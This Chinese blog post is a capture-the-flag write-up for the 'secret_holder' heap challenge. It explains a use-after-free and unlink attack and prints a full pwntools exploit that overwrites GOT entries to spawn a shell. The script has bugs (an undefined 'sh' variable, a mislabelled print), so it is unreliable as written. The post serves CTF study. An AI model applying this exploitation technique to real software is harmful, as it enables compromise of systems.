攻防世界 pwn 进阶 secret_holder_yongbaoii的博客-程序员秘密

技术标签: CTF  安全  

进去给了个网站让我自己下载附件,找半天没找到,最终还是嫖了个现成的。

https://pwn-1253291247.cos.ap-chengdu.myqcloud.com/SecretHolder

在这里插入图片描述
看一手保护,PIE没有开,还好,RELRO也没有全开,第一想法可以考虑劫持一手GOT表。

在这里插入图片描述
又是菜单题,主程序简单,且有循环。

在这里插入图片描述程序很简单,三个秘密,然后地址跟flag都在bss段上,分别占了八个跟四个字节。

同时calloc函数跟malloc函数一样,申请空间,区别是calloc函数会把申请到得空间都清零。

在这里插入图片描述

会发现还是老问题了,free后没有清空指针。

先得说一说关于large bin的事情,简单点说,大小从1024开始的堆块就进入了large bin,所以在这道题中,big secret,huge secret 都可以直接进入large bin,在申请堆块的时候当把其它bin找完之后会在large bin里面找,如果申请的size小于它有的size,就会把一个差不多大小的large chunk切开,一块分给申请,一块放在unsorted中。

详细介绍的话这里有篇大佬的博客。

堆漏洞挖掘:04—bins分类(fastbin、unsorted bin、small bin、large bin)

这道题我们用到的最重要的一种思路是当我们的申请chunk大于mmap的分配阈值(32位是128k,64位是256k)的时候,会直接在memory mapings region的地方去申请,释放。当我们释放之后再次申请,就会申请到堆里面来。顺便说一下32位的mmap区域从高地址向低地址方向生长的。

那么我们这道题的思路就是先申请small,big,然后释放掉,再申请huge,释放掉,再申请回来,就会申请到堆里面。而small,big的指针还在,那么就会形成下图的状态。在这里插入图片描述
那么我们因为可以编写huge,我们就可以在huge里面伪造一些chunk,在big下面伪造使用中的堆块,在big上面伪造一个free的chunk,然后通过free堆块big,从而制造unlink,然后对bss段进行控制,从而达到泄露地址等一系列目的。

我们来一步一步调一下试一试。

先是申请huge
在这里插入图片描述
然后释放掉,再申请small,big,释放掉,再把huge申请回来。

在这里插入图片描述

在这里插入图片描述
heap是我们那个huge,然后存放small,big地址的地方的数据就是指向堆的相应的地方。

然后伪造chunk

在这里插入图片描述
然后把big堆块free掉。

然后就可以控制bss那一段了,剩下的就是unlink去解决。

exp

#coding:utf8
from pwn import *

context.log_level = "debug"

r = process('./secret')
elf = ELF('./secret')
huge_secret = 0x6020A8
bss_addr = 0x602090
free_got = elf.got['free']
puts_plt = elf.plt['puts']
read_got = elf.got['read']

libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so")

def new(h_type,content):
   r.sendlineafter('3. Renew secret','1')
   r.sendlineafter('3. Huge secret',str(h_type))
   r.sendlineafter('Tell me your secret:',content)
 
def delete(h_type):
   r.sendlineafter('3. Renew secret','2')
   r.sendlineafter('3. Huge secret',str(h_type))
 
def edit(h_type,content):
   r.sendlineafter('3. Renew secret','3')
   r.sendlineafter('3. Huge secret',str(h_type))
   r.sendafter('Tell me your secret:',content)
 
new(3,'a'*0x100)
new(1,'b'*0x10)
new(2,'c'*0x100)
delete(1)
delete(2)
delete(3)
 
fake_chunk = p64(0) + p64(0x21)
fake_chunk += p64(huge_secret-0x18) + p64(huge_secret-0x10)
payload = fake_chunk.ljust(0x20,'\x00')
payload += p64(0x20) + p64(0x90) + 'c'*0x80 #chunk2
payload += p64(0x90) + p64(0x81) + 'd'*0x70 #chunk3

payload += p64(0) + p64(0x81)

#最后的这个0x81是在检查chunk3是否free状态的时候需要检查下一个chunk的p位是否为1.所以其实0x11,0x1啥的都行。

new(3,payload)
delete(2)
payload = p64(0) * 2 + p64(free_got) + p64(bss_addr) + p64(read_got) + p32(1)*3
edit(3,payload)
edit(2,p64(puts_plt))
delete(1)
r.recvuntil('\n')
read_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
libc_base = read_addr - libc.sym['read']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
print 'libc_base=',hex(read_addr)
print 'system_addr=',hex(system_addr)

edit(2,p64(system_addr))
edit(3,p64(0) * 2 + p64(binsh_addr))
delete(2)
 
r.interactive()
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/yongbaoii/article/details/112424349

智能推荐

本地存储三种方式得区别_本地存储的区别_想你的冬天的博客-程序员秘密

存储三种方式:cookie、sessionStorage、localStoragecookie可以设置过期时间 路径 domin1.cookie在浏览器和服务器间来回传递。而sessionStorage和localStorage不会自动把数据发给服务器,仅在本地保存。2.存储大小限制也不同,cookie数据不能超过4k,同时因为每次http请求都会携带cookie,所以cookie只适合保存很小的数据,如会话标识。sessionStorage和localStorage 虽然也有存储大小的限制,但比

python找出数组中重复的数字_python-在numpy数组中查找相同值的序列的长度(游程长度编码)..._weixin_39605326的博客-程序员秘密

完全numpy向量化和通用RLE,可用于任何数组(也适用于字符串,布尔值等)。输出运行长度,起始位置和值的元组。import numpy as npdef rle(inarray):""" run length encoding. Partial credit to R rle function.Multi datatype arrays catered for including non Num...

几个常用的编译选项_常用编译选项_challchampion的博客-程序员秘密

1。ld的--start-group,--end-group选项。-start-group archives -end-groupThe archives should be a list of archive files. They may be either ex

SSH 的使用详解_码农code之路的博客-程序员秘密

今天小编为大家分享一篇关于SSH 的介绍和使用方法的文章。本文从SSH是什么出发,讲述了SSH的基本用法,之后在远程登录、端口转发等多种场景下进行独立的讲述,希望能对大家有所帮助。1. ...

spring知识点_无中生有之冰山一角的博客-程序员秘密

Spring1.1、简介Spring:春天------>给软件行业带来了春天2002,首次推出了Spring框架的雏形:interface 21框架!Spring框架即以interface21框架为基础,经过重新设计,并不断丰富内涵,于2004年3月24日,发布了1.0正式版。Rod Johnson,Spring Framework创始人spring理念:使现有的技术更加容易使用,本身是一个大杂烩,整合了现有的技术框架!SSH : Struct2 + Spring

《程序员第二步-从程序员到项目经理》_程序员第二步——从程序员到项目经理_watsonyin的博客-程序员秘密

最近有两个关于程序员的新闻让不少IT 人都欢乐了一把,一是原新浪微博某PHP 程序员改行卖水果后,不但眼镜摘了,人变白了,连头发都长出来了;还有一个就是原某网游公司的程序员离职卖起了“程序猿烧饼”,收入可观,不但买房买车,还娶了漂亮的“烧饼西施”,让人好生羡慕! 程序员们读到这两则新闻,估计心里就像打翻了五味瓶一样,不知是个啥滋味。难道我们都要去摆摊卖水果和烧饼吗?显然不现实。大部

随便推点

[面试要点]java io编程_chengkuiwu3328的博客-程序员秘密

java io 简介 惯例先祭出一张图 [1]输入字节流InputStream:InputStream 是所有的输入字节流的父类,它是一个抽象类;ByteArrayInputStream、StringBufferInputStream、FileInputStream 是三种基...

阿里巴巴Java 程序员常用的 10 款开源工具!用好了,事半功倍!_码农突围的博客-程序员秘密

本文主要介绍阿里巴巴Java程序员常用的一些基本和高级工具。如果你是一位经验丰富的Java开发人员,你可能对这些工具很熟悉,但如果不是,现在就是是开始学习这些工具的好时机。Java世界中存在许多工具,从Eclipse,NetBeans和IntelliJ IDEA等著名的IDE开始到Java开发人员应该知道的JVM分析和监视工具,如JConsole,VisualVM,Eclipse Memory Analyzer等。尽管如此,在本文中,我将重点介绍适用于各种Java开发人员的通用工具,例如核心Java 开

ui的粒子特效的层级问题_blueuranus2084的博客-程序员秘密

这周碰到一个问题,就是ui的粒子特效的层级问题,一般的解决办法是:1.修改NGUI的UIpanel的RenderQ;2.修改粒子的render的RenderQ;3.修改粒子系统的order和layer;一般我们的做法师1和2的结合。但现在有个问题是当有其他界面覆盖在其上时,由于一般的UIPanel都是自动RenderQ,所以有的特效会穿透;为了解决这个问题,可以在粒子特效上再挂一个UIPa

Uni-APP iOS环境打自定义调试基座_ios 自定义基座_编程圈子的博客-程序员秘密

主要操作步骤参考官方文档:https://ask.dcloud.net.cn/article/152有少量区别。准备好苹果开发者账号(过程略)。

树莓派4b用网线连接笔记本_影子态的博客-程序员秘密

10,在putty中输入sudo raspi-config,通过上下键选择interfacing options,左右键选择select,按回车键,找到VNC选择并按回车,然后在弹出的界面选择“Yes”,回车键OK,然后点Finish。6,首先获取树莓派的地址,需要设置网络属性,勾选“允许其他网络用户通过此计算机的internet连接来连接”,将无线网链接属性改为本地连接或者是以太网连接。7,打开电脑的cmd, 输入ping raspberrypi.local,可以得到树莓派的ip,直接复制。

Objective-C 学习笔记1_王吉军的博客-程序员秘密

//#import int main(int argc, const char * argv[]){ @autoreleasepool { NSLog(@"-----------范围----------------"); NSRange range; range.location = 17;

推荐文章

热门文章

相关标签